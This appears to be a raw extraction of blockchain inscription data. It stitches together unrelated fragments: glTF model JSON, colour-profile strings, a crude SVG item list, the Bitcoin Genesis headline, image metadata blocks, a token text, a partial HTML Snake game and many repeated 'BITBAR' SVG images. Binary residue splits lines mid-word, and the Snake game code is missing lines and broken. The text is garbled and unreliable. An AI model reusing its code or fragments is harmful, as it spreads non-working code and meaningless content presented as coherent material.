JSON{"asset":{"generator":"Khronos glTF Blender I/O v3.2.40","version":"2.0"},"scene":0,"scenes":[{"name":"Scene","nodes":[0]}],"nodes":[{"mesh":0,"name":"s.0043","rotation":[0.4931390881538391,0.4744095206260681,-0.5048378705978394,0.5262017250061035],"translation":[0.0024276599287986755,0.8914594650268555,-0.024406246840953827]}],"materials":[{"doubleSided":true,"name":"Standard_C2B4FF.001","pbrMetallicRoughness":{"baseColorFactor":[1,0,0.005573225673288107,1],"metallicFactor":0,"roughnessFactor":M
0.5527864098548889}}],"meshes":[{"name":"s.003","primitives":[{"attributes":{"POSITION":0,"NORMAL":1,"TEXCOORD_0":2,"TEXCOORD_1":3},"indices":4,"material":0}]}],"accessors":[{"bufferView":0,"componentType":5126,"count":732,"max":[0.13621681928634644,0.6445186138153076,0.9140474796295166],"min":[-0.1682738959789276,-0.6439281702041626,-0.7871073484420776],"type":"VEC3"},{"bufferView":1,"componentType":5126,"count":732,"type":"VEC3"},{"bufferView":2,"componentType":5126,"count":732,"type":"VEC2"},{"bufferView":3,"comM
ponentType":5126,"count":732,"type":"VEC2"},{"bufferView":4,"componentType":5123,"count":1104,"type":"SCALAR"}],"bufferViews":[{"buffer":0,"byteLength":8784,"byteOffset":0},{"buffer":0,"byteLength":8784,"byteOffset":8784},{"buffer":0,"byteLength":5856,"byteOffset":17568},{"buffer":0,"byteLength":5856,"byteOffset":23424},{"buffer":0,"byteLength":2208,"byteOffset":29280}],"buffers":[{"byteLength":31488}]}
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
$6"(""("60:/,/:0VD<<DVdTOTdylly
$6"(""("60:/,/:0VD<<DVdTOTdylly
<svg viewBox="0 0 350 350" preserveAspectRatio="xMinYMin meet" xmlns="http://www.w3.org/2000/svg"><style>.base { fill: black; font-family: serif; font-size: 14px; }</style><rect fill="#01ff01" height="100%" width="100%"></rect><text class="base" y="20" x="10">Dumping</text><text class="base" y="40" x="10">Genesis Armor of 1000 Troll Tears</text><text class="base" y="60" x="10">Propeller Cap</text><text class="base" y="80" x="10">Leather Belt</text><text class="base" y="100" x="10">Soggy Flipflops</text><text class=L
"base" y="120" x="10">Twitter Fingers of Fuck</text><text class="base" y="140" x="10">Ball Gag</text><text class="base" y="160" x="10">Cock Ring</text></svg>h!
application/octet-stream
EThe Times 03/Jan/2009 Chancellor on brink of second bailout for banks
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http:M
//ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:fc398092-f782-4432-9cbf-1bfd33bf0acd" xmpMM:InstanceID="xmp.iid:5244111b-9a51-45ad-a4b1-32d0d3585f1f" xmpMM:OriginalDocumentID="xmp.did:5a1c6eb3-3057-4148-bb76-03719cbdd991" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676332839765680" GIMP:M
Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:13T19:00:34-05:00" xmp:ModifyDate="2023:02:13T19:00:34-05:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:caa43e58-90cd-4991-8fc6-31bd8c80251f" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-13T18:59:06"/> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:23432802-61a0-4e45-9716-58824609d78a" stEvt:softwareAgent="Gimp 2.10 (WindowsM
)" stEvt:when="2023-02-13T19:00:39"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L`                                                                             <?xpacket end="w"?>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
2023-01-24T18:50:08+00:00g
2023-01-24T18:50:08+00:00
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmpM
.did:3d214b9f-b71e-8a4a-b82e-54161e5355f7" xmpMM:DocumentID="xmp.did:E9110106ABEE11EDAB94C6592E62B4FE" xmpMM:InstanceID="xmp.iid:E9110105ABEE11EDAB94C6592E62B4FE" xmp:CreatorTool="Adobe Photoshop 24.1 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3d214b9f-b71e-8a4a-b82e-54161e5355f7" stRef:documentID="xmp.did:3d214b9f-b71e-8a4a-b82e-54161e5355f7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
((((((((((((((((((((((((((((((((((((((((((((((((((
/http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotosM
hop 24.1 (Windows)" xmpMM:InstanceID="xmp.iid:8012EDAEABEC11ED99EB84606ECA7965" xmpMM:DocumentID="xmp.did:8012EDAFABEC11ED99EB84606ECA7965"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8012EDACABEC11ED99EB84606ECA7965" stRef:documentID="xmp.did:8012EDADABEC11ED99EB84606ECA7965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
@j>=:BNB.BNB:bnb1hw8d8ze40agn4snk9828vl6qc5qprhz66sed3a:752901::0
text/plain;charset=utf-8
((((((((((((((((((((((((((((((((((((((((((((((((((
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmpM
.did:aaf5e4cf-1bb2-ee48-bb15-4cfdc128905a" xmpMM:DocumentID="xmp.did:06298374ABEC11EDB0F2CC10B1172248" xmpMM:InstanceID="xmp.iid:06298373ABEC11EDB0F2CC10B1172248" xmp:CreatorTool="Adobe Photoshop 24.1 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:dc17a59a-88bb-2945-bad7-4c3c9ce5ddc3" stRef:documentID="adobe:docid:photoshop:f65bc0ec-134a-2646-a7ef-2886d8656504"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmpM
.did:bd610d8c-4aca-0440-a688-2499c08f815f" xmpMM:DocumentID="xmp.did:EF3C0539ABEC11EDAD7F9CB8D9D8B552" xmpMM:InstanceID="xmp.iid:EF3C0538ABEC11EDAD7F9CB8D9D8B552" xmp:CreatorTool="Adobe Photoshop 24.1 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0118234b-b1f8-ce41-a235-d7f1aae1e612" stRef:documentID="adobe:docid:photoshop:25b3ebbd-2a31-5f43-87d0-3c965c949a68"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/html;charset=utf-8
  <title>Basic Snake HTML Game</title>
  <meta charset="UTF-8">
    background: black;
    align-items: center;
    justify-content: center;
    border: 1px solid white;
<canvas width="400" height="400" id="game"></canvas>
var canvas = document.getElementById('game');
var context = canvas.getContext('2d');
anvas width & height, snake x & y, and the apple x & y, all need to be a multiples of the grid size in order for collision detection to work
// (e.g. 16 * 25 = 400)
  // snake velocity. moves one grid length every frame in either the x or y direction
  // keep track of all grids the snake body occupies
  // length of the snake. grows when eating an apple
// get random whole numbers in a specific range
// @see https://stackoverflow.com/a/1527820/2124254
function getRandomInt(min, max) {
  return Math.floor(Math.random() * (max - min)) + min;
  requestAnimationFrame(loop);
  // slow game loop to 15 fps instead of 60 (60/10 = 6)
  if (++count < 6) {
  context.clearRect(0,0,canvas.width,canvas.height);
  // move snake by it's velocity
  snake.x += snake.dx;
  // wrap snake position horizontally on edge of screen
  if (snake.x < 0) {
    snake.x = canvas.width - grid;
  else if (snake.x >= canvas.width) {
  // wrap snake position vertically on edge of screen
  if (snake.y < 0) {
    snake.y = canvas.height - grid;
  else if (snake.y >= canvas.height) {
  // keep track of where snake has been. front of the array is always the head
  snake.cells.unshift({x: snake.x, y: snake.y});
 remove cells as we move away from them
  if (snake.cells.length > snake.maxCells) {
    snake.cells.pop();
  context.fillStyle = 'red';
  context.fillRect(apple.x, apple.y, grid-1, grid-1);
  // draw snake one cell at a time
  context.fillStyle = 'green';
  snake.cells.forEach(function(cell, index) {
    // drawing 1 px smaller than the grid creates a grid effect in the snake body so you can see how long it is
    context.fillRect(cell.x, cell.y, grid-1, grid-1);
    if (cell.x === apple.x && cell.y === apple.y) {
      snake.maxCells++;
      // canvas is 400x400 which is 25x25 grids
      apple.x = getRandomInt(0, 25) * grid;
      apple.y = getRandomInt(0, 25) * grid;
    // check collision with all cells after this one (modified bubble sort)
    for (var i = index + 1; i < snake.cells.length; i++) {
      // snake occupies same space as a body part. reset game
      if (cell.x === snake.cells[i].x && cell.y === snake.cells[i].y) {
        snake.y = 160;
        snake.cells = [];
        snake.maxCells = 4;
        snake.dx = grid;
        snake.dy = 0;
        apple.x = getRandomInt(0, 25) * grid;
        apple.y = getRandomInt(0, 25) * grid;
// listen to keyboard events to move the snake
document.addEventListener('keydown', function(e) {
  // prevent snake from backtracking on itself by checking that it's
  // not already moving on the same axis (pressing left while moving
ft won't do anything, and pressing right while moving left
  // shouldn't let you collide with your own body)
  if (e.which === 37 && snake.dx === 0) {
    snake.dx = -grid;
  else if (e.which === 38 && snake.dy === 0) {
    snake.dy = -grid;
  // right arrow key
  else if (e.which === 39 && snake.dx === 0) {
    snake.dx = grid;
  else if (e.which === 40 && snake.dy === 0)L
    snake.dy = grid;
requestAnimationFrame(loop);
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
